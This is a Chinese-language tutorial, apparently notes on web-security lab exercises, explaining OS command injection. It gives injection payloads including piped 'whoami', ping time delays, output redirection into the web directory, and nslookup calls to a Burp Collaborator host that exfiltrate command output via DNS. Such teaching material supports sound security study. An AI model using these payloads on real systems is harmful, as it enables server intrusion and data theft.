OS command injection

作業系統命令注入也稱為 shell 注入。它允許攻擊者在運行應用程式的伺服器上執行作業系統 (OS) 命令

例如,有些服務器會根據使用者提交參數在執行特定指令,如下

https://insecure-website.com/stockStatus?productID=381&storeID=29

就會讓服務器執行stockreport.pl 381 29

如果沒有針對作業系統命令注入進行防禦,可以使用以下攻擊語法執行任意命令

https://insecure-website.com/stockStatus?productID=381&storeID=29|whoami

目標服務器將執行stockreport.pl 381 29|whoami,然後返回內容就是顯示whoami的執行結果

Lab: OS command injection, simple case


以下是常見的命令

命令的目的Linux視窗
目前使用者名稱whoamiwhoami
作業系統uname -aver
網路設定ifconfigipconfig /all
網路連線netstat -annetstat -an
正在運行的進程ps -eftasklist

以下是常見的命令分隔符

適用於Windows和基於Unix 的系統:&&&|||

只適用於基於Unix 的系統:;\n0x0a


blind OS command injection

大部份作業系統命令注入都是屬於盲注。這意味著應用程式不會在 HTTP 回應中傳回命令的輸出結果,因此需要使用不同的方法,常見的方法如下:

  • 用時間延遲測試盲注
  • 用重定向輸出測試盲注
  • 用OAST測試盲注


用時間延遲測試盲注

可以用等待時間來判斷是否盲注

例如,修改請求參數,加入ping 10次的命令,當完成後網站才會返回結果

email=x||ping+-c+10+127.0.0.1||

假如10秒後才返回結果,代表存在漏洞

Lab: Blind OS command injection with time delays


用重定向輸出測試盲注

可以將盲注結果輸出到可讀取的位置

例如,修改請求參數,將whoami結果輸出到網站目錄的output.txt內

email=||whoami>/var/www/images/output.txt||

假如訪問網站images/output.txt可看到結果,代表存在漏洞

Lab: Blind OS command injection with output redirection


用OAST測試盲注

可以使用out-of-band的方式測試可否觸及外網

例如,修改請求參數,使用nslookup查詢外網網址

email=x||nslookup+x.burpcollaborator.net||

如果x.burpcollaborator.net的dns有記錄到查詢行為,代表存在漏洞

Lab: Blind OS command injection with out-of-band interaction

也可以透過DNS通道,把結果利用查詢內容傳出去

例如,把whoami的結果當做子網域,透過nslookup查詢

email=||nslookup+`whoami`.x.burpcollaborator.net||

x.burpcollaborator.net的dns的記錄就會查到一個含有whoami命令結果的內容

Lab: Blind OS command injection with out-of-band data exfiltration